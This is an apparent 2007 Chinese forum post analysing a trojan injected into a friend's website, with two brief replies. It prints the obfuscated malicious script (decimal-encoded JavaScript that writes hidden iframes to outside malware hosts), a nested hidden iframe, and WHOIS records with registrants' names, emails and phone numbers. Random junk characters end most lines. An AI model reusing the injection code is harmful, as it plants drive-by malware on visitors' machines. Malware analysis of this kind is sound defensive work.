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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, g",htYoEnj  
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http://www.areway.cn/?p=175 9I;d>%  
G&HCOR!h  
zg2}R4h  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: 6eh\-+=  
          z.q^`01/H  
<script>t=’60,105,102,114,97,109,101, %`[Oz[V  
32,115,114,99,61,104,116,116,112,58,47,47, 3b2[i,m<L  
102,114,101,101,46,117,45,117,117,117,46,99, T!*lTzNHm  
110,47,101,114,114,111,114,46,104,116,109, =k\V~8XZ  
32,119,105,100,116,104,61,49,48,48,32,104, ?(4E le  
101,105,103,104,116,61,48,62,60,47,105,102, [Cx'a7KWL  
114,97,109,101,62′; U- UD27  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> 7xIXFuu  
                                                                                                  eiV[y^?  
<script>t=’60,105,102,114,97,109,101,32,115, dyz)22{\!`  
114,99,61,104,116,116,112,58,47,47,102,114, uwcm%N;I"  
101,101,46,117,45,117,117,117,46,99,110,47, {m )$b  
101,114,114,111,114,46,104,116,109,32,119, ^T#bla893  
105,100,116,104,61,49,48,48,32,104,101,105, tJ NJ S  
103,104,116,61,48,62,60,47,105,102,114,97, %&RF;qa2xu  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); 69{BJ] q  
document.write(t);</script> 4iD-jM_D  
                                                                                                  M6 W {mek  
<html xmlns=” 7 )`U%}R  
http://www.w3.org/1999/xhtml (|EnRk-E  
“> t0 1@h_ WS  
<head> GEdWpYKS-`  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> Be=J*D!E=>  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> h2SVDKj  
<title>首页 - 爱生活家庭网 \~]HfDu  
                                                                                                                                                    iz&$q]P8  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 wE.CZ% f  
转换字符串后的大概内容是(谁点击后果自付): ,F,\bp}  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… ,dTRM  
                                                                                                                                  ^]&uMkPN  
查询玉米u-uuu.cn的详细信息: )]/gu\90  
Domain Name: u-uuu.cn kPm{tc  
ROID: 20070901s10001s64972306-cn ETw7/S${  
Domain Status: ok hGPo{>xR  
Registrant Organization: 王雷 mIK-a{?G  
Registrant Name: 王雷 TzC'x WO  
Administrative Email: czlovexs@126.com Ua>lf8w<  
Sponsoring Registrar: 北京万网志成科技有限公司 &Hb;; Ic(  
Name Server:ns.yovole.com 7*9a`p3w  
Name Server:ns1.yovole.com lTe7n'y^^  
Registration Date: 2007-09-01 17:54 KxZO.>,  
Expiration Date: 2008-09-01 17:54 `K,{Y_  
最后PING了一下地址 都没有什么…. 8 z) K  
                                                                                                ~$GRgOn  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. PJq;OM|  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> yMU>vr  
<script language=”javascript” src=” A{[joo  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script NtuO&{}i  
> dr|>P*  
这个玉米应该有可能是木马作者的: s#%$aQ|Fp  
foafau.info的详细信息: yJCqP=  
Access to INFO WHOIS information is provided to assist persons in wx a?.  
determining the contents of a domain name registration record in the u3"0K['3  
Afilias registry database. The data in this record is provided by ?s=O6D&   
Afilias Limited for informational purposes only, and Afilias does not Vq'\`$_  
guarantee its accuracy.  This service is intended only for query-based 5r*5Co+  
access. You agree that you will use this data only for lawful purposes eI+<^p_j2  
and that, under no circumstances will you use this data to: (a) allow, 77FI&*q  
enable, or otherwise support the transmission by e-mail, telephone, or _GoV\wGKl  
facsimile of mass unsolicited, commercial advertising or solicitations LH=gNFgzt  
to entities other than the data recipient’s own existing customers; or #DBg8  
(b) enable high volume, automated, electronic processes that send [Eeanl&x>  
queries or data to the systems of Registry Operator, a Registrar, or ewo]-BQS  
Afilias except as reasonably necessary to register domain names or i++a^f  
modify existing registrations. All rights reserved. Afilias reserves $pV:)N4  
the right to modify these terms at any time. By submitting this query, YP^=b}  
you agree to abide by this policy. JHxy_<p/  
Domain ID:D22418703-LRMS /s@t-gTi  
Domain Name:FOAFAU.INFO 4pvT?s>68  
Created On:20-Nov-2007 16:05:42 UTC w\"~ *(M  
Last Updated On:20-Nov-2007 16:05:44 UTC -C]k YQ  
Expiration Date:20-Nov-2008 16:05:42 UTC #41xzN  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) ^#|Sl D]  
Status:CLIENT DELETE PROHIBITED $pKlF0 .  
Status:CLIENT RENEW PROHIBITED KASuSg+  
Status:CLIENT TRANSFER PROHIBITED +-DF3(  
Status:CLIENT UPDATE PROHIBITED OcA_m.  
Status:TRANSFER PROHIBITED |WiE`&?xP  
Registrant ID:GODA-040110615 hA6   
Registrant Name:liu hong iKJ-$x_5  
Registrant Organization: kLsp0% 2  
Registrant Street1:beijing 1V\tKDM  
Registrant Street2: )\S3Q  
Registrant Street3: o!]muO*Rm  
Registrant City:beijing Jy#c 6  
Registrant State/Province: dRdI('  
Registrant Postal Code:100000 bW]7$?acv  
Registrant Country:CN HE;}B!>  
Registrant Phone:+86.860108888777 iyA=d{S;V  
Registrant Phone Ext.: ~XzT~WxW  
Registrant FAX: ;PS V3Zh  
Registrant FAX Ext.: v qt#JdPp9  
Registrant Email:bbbshiji@163.com 'n:|D7t  
Admin ID:GODA-240110615 Vu0d\l^$  
Admin Name:liu hong zBQV2.@  
Admin Organization: wMW."gM|  
Admin Street1:beijing u|ph_?6 o  
Admin Street2: 1zGD~[M  
Admin Street3: O$qxo &  
Admin City:beijing C+0MzfLgf  
Admin State/Province: KKBrw+)AJ  
Admin Postal Code:100000 B(pxyv)  
Admin Country:CN )j/2Z-Ev:W  
Admin Phone:+86.860108888777 :w!A_~ w2  
Admin Phone Ext.: _>8rTk`/h  
Admin FAX: _#UiY ffa*  
Admin FAX Ext.: 9QQiIi$74U  
Admin Email:bbbshiji@163.com Dias!$g  
Billing ID:GODA-340110615 Wc*jTip  
Billing Name:liu hong V-{3)6I$hG  
Billing Organization: R ]h3a :ic  
Billing Street1:beijing b<\2j5  
Billing Street2: ME0vXi  
Billing Street3: ]9 JLu8GO  
Billing City:beijing R)@2={fd}  
Billing State/Province: :F |ll?  
Billing Postal Code:100000 J~]Y  
Billing Country:CN oe'f?IY  
Billing Phone:+86.860108888777 @%'1Jd7-Wp  
Billing Phone Ext.: ]<3n;*8k?  
Billing FAX: P<%}!Y  
Billing FAX Ext.: W\c1QY$E  
Billing Email:bbbshiji@163.com _o52#Q4   
Tech ID:GODA-140110615 \,AE5hnO  
Tech Name:liu hong 3 T1,:r  
Tech Organization: V0l"tr@  
Tech Street1:beijing AMw#_8Y  
Tech Street2: K7 J RCLA  
Tech Street3: Q$yMU [l)  
Tech City:beijing 5%_aN_1?ef  
Tech State/Province: 22T\ -g{  
Tech Postal Code:100000 K8=jkU  
Tech Country:CN Sx0/Dm  
Tech Phone:+86.860108888777 b8 ^O"oDrp  
Tech Phone Ext.: }@y(-7t  
Tech FAX: oH,{'S@q  
Tech FAX Ext.: Cqs+ o^q  
Tech Email:bbbshiji@163.com W ZT) LYA  
Name Server:NS27.DOMAINCONTROL.COM ^Q\Hy\  
Name Server:NS28.DOMAINCONTROL.COM 57K\sT4[  
Name Server: $} @gR] Z  
Name Server: :R{pV7<O  
Name Server: \{a!Z&df  
Name Server: 6!`GUU  
Name Server: O#do\:(b  
Name Server: [  *~2Ts  
Name Server: 45,):U5  
Name Server: Tc.QzD\  
Name Server: 0H +!v  
Name Server: T4nWK!}z  
Name Server: 9+iz+  
                                                                                                          .6=;{h4cpB  
接着下载每个文件里面的代码: i91 =h   
一步一步看.. ~m'8<B5+  
h+ms%tNT  
&z]x\4#,  
H%bc.c  
L>Y3t1=  
~n~j2OE  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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